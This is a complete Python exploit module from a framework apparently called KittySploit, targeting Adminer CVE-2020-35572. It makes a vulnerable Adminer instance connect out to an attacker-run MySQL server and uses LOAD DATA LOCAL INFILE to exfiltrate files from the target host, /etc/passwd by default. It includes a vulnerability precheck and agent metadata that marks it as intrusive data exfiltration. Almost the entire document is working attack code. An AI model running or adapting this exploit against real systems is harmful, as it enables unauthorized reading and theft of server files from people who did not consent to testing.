Adminer CVE-2020-35572 arbitrary file read

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Adminer CVE-2020-35572 rogue-MySQL LOAD DATA LOCAL file read."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Adminer CVE-2020-35572 arbitrary file read",
        "description": (
            "CVE-2020-35572 (Adminer <= 4.6.2): server driver makes Adminer connect "
            "outbound to attacker MySQL; LOAD DATA LOCAL INFILE pulls target files."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2020-35572"],
        "platform": Platform.PHP,
        "arch": [Arch.CMD],
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2020-35572",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["adminer", "mysql", "fileread", "cve-2020-35572"],
        "agent": {
            "risk": "intrusive",
            "effects": ["data_exfiltration"],
            "expected_requests": 4,
            "reversible": True,
            "approval_required": True,
            "produces": ["file_read"],
            "chain": {"suggested_followups": ["scanner/http/adminer_cve_2020_35572_detect"]},
        },
    }

    adminer_path = OptString("/adminer.php", "Path to adminer.php", required=True)
    rogue_host = OptString("", "Attacker MySQL host (reachable from target)", required=True)
    rogue_port = OptPort(3306, "Attacker MySQL port", required=False)
    db_user = OptString("backup", "Rogue MySQL user", required=False)
    db_pass = OptString("backup", "Rogue MySQL password", required=False)
    db_name = OptString("backup", "Rogue database name", required=False)
    table = OptString("backup", "Rogue table for LOAD DATA", required=False)
    read_file = OptString("/etc/passwd", "Absolute path on target PHP host", required=True)

    def _adminer_url(self) -> str:
        p = str(self.adminer_path or "/adminer.php")
        return p if p.startswith("/") else f"/{p}"

    def _server_field(self) -> str:
        host = str(self.rogue_host or "")
        port = int(self.rogue_port or 3306)
        return host if port == 3306 else f"{host}:{port}"

    def execute(self, remote_path: str) -> str:
        server = self._server_field()
        login = {
            "auth[driver]": "server",
            "auth[server]": server,
            "auth[username]": str(self.db_user or "backup"),
            "auth[password]": str(self.db_pass or "backup"),
            "auth[db]": str(self.db_name or "backup"),
        }
        resp = self.http_request("POST", self._adminer_url(), data=login, allow_redirects=True)
        body = (resp.text or "") if resp else ""
        if 'name="auth[password]"' in body and "logout" not in body.lower():
            raise RuntimeError("Adminer login to rogue MySQL failed — start rogue server first")

        sql_path = (
            f"{self._adminer_url()}?server={quote(server)}"
            f"&username={quote(str(self.db_user or 'backup'))}"
            f"&db={quote(str(self.db_name or 'backup'))}&sql="
        )
        page = self.http_request("GET", sql_path)
        html = (page.text or "") if page else ""
        m = re.search(r'name="token"\s+value="([^"]+)"', html)
        if not m:
            raise RuntimeError("SQL token not found")
        query = (
            f'LOAD DATA LOCAL INFILE "{remote_path}" INTO TABLE '
            f'{self.db_name}.{self.table} FIELDS TERMINATED BY "\\n"'
        )
        self.http_request("POST", sql_path, data={"query": query, "token": m.group(1)})
        return (
            f"LOAD DATA LOCAL sent for {remote_path}. "
            f"Read rows from rogue DB: SELECT * FROM {self.db_name}.{self.table};"
        )

    def check(self):
        if not str(self.rogue_host or "").strip():
            return {"vulnerable": False, "reason": "Set rogue_host", "confidence": "high"}
        resp = self.http_request("GET", self._adminer_url())
        body = (resp.text or "").lower() if resp else ""
        if "adminer" in body or "auth[driver]" in body:
            return {"vulnerable": True, "reason": "Adminer login form present", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Adminer not found", "confidence": "medium"}

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Precheck failed"))
            self.not_vulnerable()
            return False

        print_status("CVE-2020-35572 — Adminer LOAD DATA LOCAL")
        msg = self.execute(str(self.read_file or "/etc/passwd"))
        print_info(msg)
        return self.handler_execute(
            additional_data={
                "file_read": str(self.read_file or ""),
                "rogue_mysql": self._server_field(),
            },
        )